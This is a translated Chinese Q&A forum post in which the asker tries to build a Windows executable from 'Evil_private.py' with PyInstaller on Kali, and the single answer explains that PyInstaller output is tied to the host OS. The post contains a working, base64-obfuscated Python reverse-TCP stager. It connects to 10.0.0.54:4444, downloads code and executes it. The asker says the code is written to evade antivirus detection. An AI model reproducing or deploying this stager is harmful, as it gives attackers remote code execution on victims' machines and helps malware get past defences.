2017-10-01 39 views
-2

我正在編譯一個python代碼在kali。這些是PyInstaller的以下設置:PyInstaller輸出.ELF ins .EXE上kali

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe 

並且代碼只是用來避免反病毒檢測的一些註釋。以下代碼是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]] 
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K'))) 

當我編譯它時,我收到.ELF文件而不是.EXE。也許我可以讓目錄錯誤?我不認爲這是如此,因爲我檢查了與PyInstaller相關的大多數目錄。我已閱讀PyInstaller的指南,但它似乎沒用。任何解決方案

回答

1

the documentation

PyInstaller的輸出是特定於活動操作系統和Python的活動版本。這意味着,以製備用於分配:

  • 一個不同的操作系統
  • 不同版本的Python
  • 32位或64位操作系統

你上運行PyInstaller該版本的Python下的操作系統。執行PyInstaller的Python解釋器是該包的一部分,它特定於操作系統和字大小。

您無法在運行其Python的Kali下生成一個.exe文件。